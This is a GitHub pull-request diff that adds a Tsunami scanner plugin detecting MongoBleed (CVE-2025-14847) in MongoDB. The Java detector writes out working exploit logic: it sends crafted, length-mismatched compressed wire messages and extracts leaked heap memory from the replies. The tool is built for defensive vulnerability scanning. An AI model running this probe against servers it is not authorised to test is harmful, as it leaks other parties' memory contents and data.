Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
20 changes: 20 additions & 0 deletions doyensec/detectors/mongobleed_cve_2025_14847/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,20 @@
# MongoBleed CVE-2025-14847 Detector

This plugin for Tsunami detects a vulnerability which enables uninitialized heap memory read by an unauthenticated client in MongoDB.

This issue affects all MongoDB Server v7.0 prior to 7.0.28 versions, MongoDB Server v8.0 versions prior to 8.0.17, MongoDB Server v8.2 versions prior to 8.2.3, MongoDB Server v6.0 versions prior to 6.0.27, MongoDB Server v5.0 versions prior to 5.0.32, MongoDB Server v4.4 versions prior to 4.4.30, MongoDB Server v4.2 versions greater than or equal to 4.2.0, MongoDB Server v4.0 versions greater than or equal to 4.0.0, and MongoDB Server v3.6 versions greater than or equal to 3.6.0.

More information on the vulnerability:

- [CVE-2025-14847](https://nvd.nist.gov/vuln/detail/CVE-2025-14847)
- [POC](https://github.com/joe-desimone/mongobleed/blob/main/README.md)

## Build jar file for this plugin

Using `gradle`:

```shell
gradle jar
```

Tsunami identifiable jar file is located at `build/libs` directory.
39 changes: 39 additions & 0 deletions doyensec/detectors/mongobleed_cve_2025_14847/build.gradle
Original file line number Diff line number Diff line change
@@ -0,0 +1,39 @@
plugins {
id 'java-library'
}

description = 'Tsunami detector for CVE-2025-14847.'
group = 'com.google.tsunami'
version = '0.0.1-SNAPSHOT'

repositories {
maven { // The google mirror is less flaky than mavenCentral()
url 'https://maven-central.storage-download.googleapis.com/repos/central/data/'
}
mavenCentral()
mavenLocal()
}



def coreRepoBranch = System.getenv("GITBRANCH_TSUNAMI_CORE") ?: "stable"
def tcsRepoBranch = System.getenv("GITBRANCH_TSUNAMI_TCS") ?: "stable"

dependencies {
implementation("com.google.tsunami:tsunami-common") {
version { branch = "${coreRepoBranch}" }
}
implementation("com.google.tsunami:tsunami-plugin") {
version { branch = "${coreRepoBranch}" }
}
implementation("com.google.tsunami:tsunami-proto") {
version { branch = "${coreRepoBranch}" }
}

testImplementation "junit:junit:4.13.2"
testImplementation "com.squareup.okhttp3:mockwebserver:3.12.0"
testImplementation "org.mockito:mockito-core:5.18.0"
testImplementation "com.google.truth:truth:1.4.4"
testImplementation "com.google.truth.extensions:truth-java8-extension:1.4.4"
testImplementation "com.google.truth.extensions:truth-proto-extension:1.4.4"
}
12 changes: 12 additions & 0 deletions doyensec/detectors/mongobleed_cve_2025_14847/settings.gradle
Original file line number Diff line number Diff line change
@@ -0,0 +1,12 @@
rootProject.name = 'cve202514847'

def coreRepository = System.getenv("GITREPO_TSUNAMI_CORE") ?: "https://github.com/google/tsunami-security-scanner.git"
def tcsRepository = System.getenv("GITREPO_TSUNAMI_TCS") ?: "https://github.com/google/tsunami-security-scanner-callback-server.git"

sourceControl {
gitRepository("${coreRepository}") {
producesModule("com.google.tsunami:tsunami-common")
producesModule("com.google.tsunami:tsunami-plugin")
producesModule("com.google.tsunami:tsunami-proto")
}
}
Original file line number Diff line number Diff line change
@@ -0,0 +1,313 @@
/*
* Copyright 2026 Google LLC
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/

package com.google.tsunami.plugins.detectors.cves.cve202514847;

import static com.google.common.base.Preconditions.checkNotNull;
import static com.google.common.collect.ImmutableList.toImmutableList;

import com.google.common.collect.ImmutableList;
import com.google.common.flogger.GoogleLogger;
import com.google.common.net.HostAndPort;
import com.google.protobuf.util.Timestamps;
import com.google.tsunami.common.data.NetworkEndpointUtils;
import com.google.tsunami.common.time.UtcClock;
import com.google.tsunami.plugin.PluginType;
import com.google.tsunami.plugin.VulnDetector;
import com.google.tsunami.plugin.annotations.PluginInfo;
import com.google.tsunami.proto.AdditionalDetail;
import com.google.tsunami.proto.DetectionReport;
import com.google.tsunami.proto.DetectionReportList;
import com.google.tsunami.proto.DetectionStatus;
import com.google.tsunami.proto.NetworkService;
import com.google.tsunami.proto.Severity;
import com.google.tsunami.proto.TargetInfo;
import com.google.tsunami.proto.TextData;
import com.google.tsunami.proto.TransportProtocol;
import com.google.tsunami.proto.Vulnerability;
import com.google.tsunami.proto.VulnerabilityId;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
import java.nio.ByteBuffer;
import java.nio.ByteOrder;
import java.nio.charset.StandardCharsets;
import java.time.Clock;
import java.time.Instant;
import java.util.Set;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import java.util.zip.Deflater;
import java.util.zip.Inflater;
import javax.inject.Inject;
import javax.net.SocketFactory;

/** Detects MongoDB unauthenticated memory leak (CVE-2025-14847). */
@PluginInfo(
type = PluginType.VULN_DETECTION,
name = "CVE-2025-14847 Detector",
version = "0.1",
description = "MongoDB out-of-bounds read of heap memory",
author = "Alessandro Versari ([email protected])",
bootstrapModule = Cve202514847DetectorBootstrapModule.class)
public final class Cve202514847Detector implements VulnDetector {
private static final GoogleLogger logger = GoogleLogger.forEnclosingClass();
private static final Set<String> EXCLUDED_FIELDS = Set.of("?", "a", "$db", "ping");

private final Clock utcClock;
private final SocketFactory socketFactory;

@Inject
Cve202514847Detector(
@UtcClock Clock utcClock, @SocketFactoryInstance SocketFactory socketFactory) {
this.utcClock = checkNotNull(utcClock);
this.socketFactory = checkNotNull(socketFactory);
}

private static class ProbingDetails {
String response = "";
}

@Override
public DetectionReportList detect(
TargetInfo targetInfo, ImmutableList<NetworkService> matchedServices) {
ProbingDetails probingDetails = new ProbingDetails();
return DetectionReportList.newBuilder()
.addAllDetectionReports(
matchedServices.stream()
.filter(this::isTransportProtocolTcp)
.filter(this::isMongoDbService)
.filter(service -> isServiceVulnerable(service, probingDetails))
.map(service -> buildDetectionReport(targetInfo, service, probingDetails))
.collect(toImmutableList()))
.build();
}

// Checks if the service is running over TCP.
private boolean isTransportProtocolTcp(NetworkService service) {
return TransportProtocol.TCP.equals(service.getTransportProtocol());
}

// Verifies if the service name indicates a MongoDB instance.
private boolean isMongoDbService(NetworkService service) {
return "mongod".equals(service.getServiceName()) || "mongodb".equals(service.getServiceName());
}

// Returns true if the service is vulnerable to the detector's CVE
private boolean isServiceVulnerable(NetworkService service, ProbingDetails probingDetails) {
HostAndPort hp = NetworkEndpointUtils.toHostAndPort(service.getNetworkEndpoint());

try (Socket socket = socketFactory.createSocket(hp.getHost(), hp.getPort())) {
socket.setSoTimeout(2000);

OutputStream out = socket.getOutputStream();
InputStream in = socket.getInputStream();

for (int docLen = 20; docLen < 512; docLen++) {
byte[] probe = buildProbe(docLen, docLen + 500);
out.write(probe);
out.flush();

byte[] response = readMongoResponse(in);
if (response.length == 0) {
continue;
}

byte[] leaked = extractLeaks(response);
if (leaked.length > 0) {
probingDetails.response = new String(leaked, StandardCharsets.UTF_8);
return true;
}
}
return false;

} catch (Exception e) {
logger.atWarning().withCause(e).log("Unable to communicate with %s.", hp);
return false;
}
}

// Constructs a malformed OP_COMPRESSED message with mismatched length fields to trigger the leak.
private byte[] buildProbe(int docLen, int bufferSize) throws Exception {
byte[] content = new byte[] {0x10, 'a', 0x00, 0x01, 0x00, 0x00, 0x00};

ByteBuffer bson = ByteBuffer.allocate(4 + content.length);
bson.order(ByteOrder.LITTLE_ENDIAN);
bson.putInt(docLen);
bson.put(content);

ByteBuffer opMsg = ByteBuffer.allocate(4 + 1 + bson.position());
opMsg.order(ByteOrder.LITTLE_ENDIAN);
opMsg.putInt(0);
opMsg.put((byte) 0);
opMsg.put(bson.array());

byte[] compressed = zlibCompress(opMsg.array());

ByteBuffer payload =
ByteBuffer.allocate(4 + 4 + 1 + compressed.length).order(ByteOrder.LITTLE_ENDIAN);
payload.putInt(2013);
payload.putInt(bufferSize);
payload.put((byte) 2);
payload.put(compressed);

ByteBuffer header = ByteBuffer.allocate(16).order(ByteOrder.LITTLE_ENDIAN);
header.putInt(16 + payload.position());
header.putInt(1);
header.putInt(0);
header.putInt(2012);

ByteArrayOutputStream out = new ByteArrayOutputStream();
out.write(header.array());
out.write(payload.array());
return out.toByteArray();
}

// Reads a full MongoDB wire protocol response from the input stream based on the header length.
private byte[] readMongoResponse(InputStream in) throws Exception {
ByteArrayOutputStream buffer = new ByteArrayOutputStream();
byte[] tmp = new byte[4096];

int read;
while ((read = in.read(tmp)) > 0) {
buffer.write(tmp, 0, read);
if (buffer.size() >= 4) {
int msgLen =
ByteBuffer.wrap(buffer.toByteArray(), 0, 4).order(ByteOrder.LITTLE_ENDIAN).getInt();
if (buffer.size() >= msgLen) {
break;
}
}
}
return buffer.toByteArray();
}

// Parses the response to identify and extract data that appears to be leaked heap memory.
private byte[] extractLeaks(byte[] response) {
if (response.length < 25) {
return new byte[0];
}

try {
ByteBuffer hdr = ByteBuffer.wrap(response).order(ByteOrder.LITTLE_ENDIAN);
int msgLen = hdr.getInt(0);
int opcode = hdr.getInt(12);

byte[] raw;
if (opcode == 2012) {
raw = zlibDecompress(response, 25, msgLen - 25);
} else {
raw = new byte[msgLen - 16];
System.arraycopy(response, 16, raw, 0, raw.length);
}

String content = new String(raw, StandardCharsets.UTF_8);
ByteArrayOutputStream leaks = new ByteArrayOutputStream();

// Pass 1: Field names
Matcher m1 = Pattern.compile("field name '([^']*)'").matcher(content);
while (m1.find()) {
String val = m1.group(1);
if (!val.isEmpty() && !EXCLUDED_FIELDS.contains(val)) {
leaks.write(val.getBytes());
}
}

// Pass 2: Type bytes
Matcher m2 = Pattern.compile("type (\\d+)").matcher(content);
while (m2.find()) {
String val = m2.group(1);
if (!val.isEmpty() && !EXCLUDED_FIELDS.contains(val)) {
leaks.write(val.getBytes());
}
}

return leaks.toByteArray();
} catch (Exception e) {
return new byte[0];
}
}

// Compresses the provided byte array using the zlib (DEFLATE) algorithm
private byte[] zlibCompress(byte[] input) throws Exception {
Deflater deflater = new Deflater();
deflater.setInput(input);
deflater.finish();

ByteArrayOutputStream out = new ByteArrayOutputStream();
byte[] buf = new byte[1024];
while (!deflater.finished()) {
int len = deflater.deflate(buf);
out.write(buf, 0, len);
}
return out.toByteArray();
}

// Compresses the provided byte array using the zlib (DEFLATE) algorithm.
private byte[] zlibDecompress(byte[] data, int off, int len) throws Exception {
Inflater inflater = new Inflater();
inflater.setInput(data, off, len);

ByteArrayOutputStream out = new ByteArrayOutputStream();
byte[] buf = new byte[1024];
while (!inflater.finished()) {
int n = inflater.inflate(buf);
if (n == 0) {
break;
}
out.write(buf, 0, n);
}
return out.toByteArray();
}

@Override
public ImmutableList<Vulnerability> getAdvisories() {
return ImmutableList.of(
Vulnerability.newBuilder()
.setMainId(
VulnerabilityId.newBuilder()
.setPublisher("TSUNAMI_COMMUNITY")
.setValue("CVE_2025_14847"))
.addRelatedId(
VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-2025-14847"))
.setSeverity(Severity.HIGH)
.setTitle("MongoDB Memory Leak (MongoBleed) - CVE-2025-14847")
.setDescription(
"Mismatched length fields in Zlib compressed protocol headers may allow a read of "
+ "uninitialized heap memory by an unauthenticated client.")
.setRecommendation("Update MongoDB to a patched version.")
.build());
}

private DetectionReport buildDetectionReport(
TargetInfo targetInfo, NetworkService service, ProbingDetails probingDetails) {
return DetectionReport.newBuilder()
.setTargetInfo(targetInfo)
.setNetworkService(service)
.setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli()))
.setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED)
.setVulnerability(
getAdvisories().get(0).toBuilder()
.addAdditionalDetails(
AdditionalDetail.newBuilder()
.setDescription("Response (first 100 bytes)")
.setTextData(TextData.newBuilder().setText(probingDetails.response))
.build())
.build())
.build();
}
}
Loading